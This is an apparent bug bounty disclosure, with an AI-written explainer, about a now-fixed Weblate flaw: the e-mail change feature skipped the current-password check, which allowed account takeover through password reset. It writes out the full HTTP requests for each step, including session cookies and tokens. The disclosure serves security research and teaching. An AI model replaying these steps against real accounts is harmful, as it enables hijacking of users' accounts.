Weak e-mail change functionality could lead to account takeover
The e-mail change functionality did not require the current password, allowing an attacker with temporary access to a victim's session to add a new e-mail, set it as primary, and then use the password reset feature to take over the account. This bypassed the password change functionality that correctly required the current password.
- Triaged in 7 hours
- Fixed in 10 days
- Disclosed after 23 days
Hi,
Summary I have found a design issue on the e-mail change functionality offered by the "/accounts/profile" handler. In particular, the e-mail change functionality does not require the current user password to be completed. Since the e-mail could be used to reset the password of the account, an attacker, with temporary access to the victim's account (e.g. physical access to a device with an active session or by stealing the session etc.) could associate a new e-mail to the account, change the primary e-mail associated with the new one and then use the "forgot password" functionality to reset it, bypassing the current "password change" functionality ("/accounts/password" handler) that correctly requires the current password to be completed.
Step to reproduce To reproduce the issue it is possible to add a new e-mail:
Request (note that the current password is not required):
POST /accounts/email/ HTTP/1.1
Host: hosted.weblate.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Referer: https://hosted.weblate.org/
Cookie: csrftoken=kA26tUUVL9ygh9BIlSuuWBGUQlYvoO0kYd3M97qEi4CnXove7tbDTXk6NTLoSOIl; _pk_id.14.7ba2=0d80180050f49544.1493038019.1.1493041708.1493038019.; _pk_ses.14.7ba2=*; django_language=it; sessionid=4yntub067zylgtuulbkci9e031tshiaj
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
csrfmiddlewaretoken=SLhsGgqa4B8Y0DOFLPNQEbu9MyV64vCewoi8mtWTBwc5GSIbxquZBx8lJ6IZyvkf&email=user1%2Bhackerone%40████████&content=
Validate the new e-mail with the link sent by the web app (that is controlled by the "attacker"):
Request (note that the current password is not required):
GET /accounts/complete/email/?verification_code=51554eb9e31b44d6a48f8b41acda9a43&id=uy7kg0n6l8nhmihjvcgwzg3dpama80gn&type=reset HTTP/1.1
Host: hosted.weblate.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: csrftoken=kA26tUUVL9ygh9BIlSuuWBGUQlYvoO0kYd3M97qEi4CnXove7tbDTXk6NTLoSOIl; _pk_id.14.7ba2=0d80180050f49544.1493038019.1.1493041853.1493038019.; _pk_ses.14.7ba2=*; django_language=it; sessionid=uy7kg0n6l8nhmihjvcgwzg3dpama80gn
Connection: close
Upgrade-Insecure-Requests: 1
Change the primary e-mail with the new one (current password not required):
POST /accounts/profile/ HTTP/1.1
Host: hosted.weblate.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Referer: https://hosted.weblate.org/
Cookie: csrftoken=kA26tUUVL9ygh9BIlSuuWBGUQlYvoO0kYd3M97qEi4CnXove7tbDTXk6NTLoSOIl; _pk_id.14.7ba2=0d80180050f49544.1493038019.1.1493041762.1493038019.; _pk_ses.14.7ba2=*; django_language=it; sessionid=4yntub067zylgtuulbkci9e031tshiaj
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 464
csrfmiddlewaretoken=HsdKr0zHG89lB0X3at4kJLVn3u0dP8L7l5eq7d5qd3dshfRzW4LtG7zz02N6j8t8&activetab=%23account&language=it&secondary_in_zen=on&editor_link=&special_chars=&dashboard_view=1&dashboard_component_list=&csrfmiddlewaretoken=HsdKr0zHG89lB0X3at4kJLVn3u0dP8L7l5eq7d5qd3dshfRzW4LtG7zz02N6j8t8&csrfmiddlewaretoken=HsdKr0zHG89lB0X3at4kJLVn3u0dP8L7l5eq7d5qd3dshfRzW4LtG7zz02N6j8t8&username=user2hackerone&first_name=User2+HackerOne&email=user1%2Bhackerone%40█████████
An finally request the reset of the password with the new e-mail (controlled by the "attacker"):
POST /accounts/reset/ HTTP/1.1
Host: hosted.weblate.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Referer: https://hosted.weblate.org/
Cookie: csrftoken=kA26tUUVL9ygh9BIlSuuWBGUQlYvoO0kYd3M97qEi4CnXove7tbDTXk6NTLoSOIl; _pk_id.14.7ba2=0d80180050f49544.1493038019.1.1493041843.1493038019.; _pk_ses.14.7ba2=*; django_language=it; sessionid=k10nwu1h62lcfpvot1c8njbia65ki4ne
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
csrfmiddlewaretoken=fjHTb3nw1dwzvClDckQxIIWjmehS02X3TWIzRgTfy8AGbRf9YVxGF4AvjM4Lu2F4&email=user1%2Bhackerone%40████&content=
This could lead to permanent account takeover without knowing the current password of the victim (and so bypassing the current password change functionality).
I'm available for further clarification,
Best, Davide
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker with temporary access to a victim's account could permanently take over the account without knowing the current password.
What the attacker needed
Temporary access to victim's session
The fix
The e-mail change functionality could require the current password, as the password change handler does.
How it was found
- Send a request to add a new e-mail address without providing the current password.
- Click the verification link sent to the new e-mail address to confirm it.
- Send a request to change the primary e-mail to the newly added one, again without the current password.
- Request a password reset using the new e-mail address.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you change your email address on a website, the site should ask for your current password to make sure it's really you. Here, it didn't ask, so anyone who briefly got into your account (for example, by using your logged-in browser) could switch your email to theirs and then reset your password. That gives them permanent control of your account.
What is Account takeover?
Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.